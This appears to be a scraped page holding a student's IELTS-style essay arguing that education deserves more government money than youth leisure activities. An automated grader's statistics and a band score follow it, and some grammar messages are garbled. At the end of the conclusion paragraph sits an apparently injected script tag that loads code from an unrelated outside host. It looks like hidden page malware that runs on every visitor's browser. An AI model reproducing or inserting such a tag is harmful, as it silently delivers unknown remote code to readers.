Too much emphasis is given for the education of students. More government money should be spent on free time activities for young people.
To what extent do you agree or disagree?
In this day and age, it is widely believed that education is being invested excessively while others argue that the young’s pastimes should receive more financial support. Personally, I totally disagree with this statement.
There are two reasons it is a worth pouring money on education. The first one is the development of students’ academic performance. This is because when a school is financially supported, students’ learning approaches are likely to be diversified owing to the installations of technological devices such as projectors and computers. As a result, they will have a better understanding about the inputs since they are provided with a more visual and demonstrative knowledge. Secondly, a financial emphasis to be put on education can solve the problem of illiteracy in some regions. For example, in some underdeveloped areas such as African countries, education is not one of the top choices to be significantly considered. Therefore, if a proper amount of budget is spent on this field to construct schools, granting people to be educationally instructed, the society will witness a huge positive change as there are more and more citizens to be literate.
However, leisure time activities are unnecessarily invested due to the following drivers. First of all, it will encourage young people to engage in bad habits rather than entertaining them. For example, when a cinema is built with expensive interior facilities which gives audiences high-quality experience, there would be a tendency some young people will be drawn to those places in order to experience such attractive services, leading to ineffective use of time for other purposes such as learning and development. Consequently, it would be a waste of time and money despite contributing to economic growth as the demand increases. Conversely, this concept can be countered as financial focus on free activities would enhance one’s creativity. To exemplify, workshops of cooking can be opened to satisfy those who have cooking preferences. Therefore, people’s strengths and areas of interests are more likely to be well-developed and advanced.
In conclusion, I strongly argue that it is not compulsory to pay too much attention to the young’s free time activities but the education system as it offers multiple positive impacts including progressing students’ performance and illiteracy eradication. However, interests of people can be grown effectively once proper resources are built. <script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
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Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...ive more financial support. Personally, I totally disagree with this statement. ...
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Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...developed and advanced. In conclusion, I strongly argue that it is not compulsor...
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Transition Words or Phrases used:
but, consequently, conversely, first, however, if, second, secondly, so, therefore, well, while, for example, in conclusion, such as, as a result, first of all
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 30.0 13.1623246493 228% => Less to be verbs wanted.
Auxiliary verbs: 12.0 7.85571142285 153% => OK
Conjunction : 10.0 10.4138276553 96% => OK
Relative clauses : 7.0 7.30460921844 96% => OK
Pronoun: 21.0 24.0651302605 87% => OK
Preposition: 45.0 41.998997996 107% => OK
Nominalization: 15.0 8.3376753507 180% => OK
Performance on vocabulary words:
No of characters: 2106.0 1615.20841683 130% => OK
No of words: 383.0 315.596192385 121% => OK
Chars per words: 5.49869451697 5.12529762239 107% => OK
Fourth root words length: 4.42384287591 4.20363070211 105% => OK
Word Length SD: 3.2508844696 2.80592935109 116% => OK
Unique words: 212.0 176.041082164 120% => OK
Unique words percentage: 0.553524804178 0.561755894193 99% => OK
syllable_count: 686.7 506.74238477 136% => OK
avg_syllables_per_word: 1.8 1.60771543086 112% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 5.43587174349 147% => OK
Article: 3.0 2.52805611222 119% => OK
Subordination: 3.0 2.10420841683 143% => OK
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 18.0 16.0721442886 112% => OK
Sentence length: 21.0 20.2975951904 103% => OK
Sentence length SD: 72.4702791358 49.4020404114 147% => OK
Chars per sentence: 117.0 106.682146367 110% => OK
Words per sentence: 21.2777777778 20.7667163134 102% => OK
Discourse Markers: 8.83333333333 7.06120827912 125% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 2.0 5.01903807615 40% => OK
Sentences with positive sentiment : 13.0 8.67935871743 150% => OK
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.314040031022 0.244688304435 128% => OK
Sentence topic coherence: 0.0834272904649 0.084324248473 99% => OK
Sentence topic coherence SD: 0.0451989256186 0.0667982634062 68% => OK
Paragraph topic coherence: 0.181512670527 0.151304729494 120% => OK
Paragraph topic coherence SD: 0.0328970720624 0.056905535591 58% => OK
Essay readability:
automated_readability_index: 15.1 13.0946893788 115% => OK
flesch_reading_ease: 33.24 50.2224549098 66% => OK
smog_index: 11.2 7.44779559118 150% => OK
flesch_kincaid_grade: 13.8 11.3001002004 122% => OK
coleman_liau_index: 14.62 12.4159519038 118% => OK
dale_chall_readability_score: 9.71 8.58950901804 113% => OK
difficult_words: 122.0 78.4519038076 156% => OK
linsear_write_formula: 9.0 9.78957915832 92% => OK
gunning_fog: 10.4 10.1190380762 103% => OK
text_standard: 15.0 10.7795591182 139% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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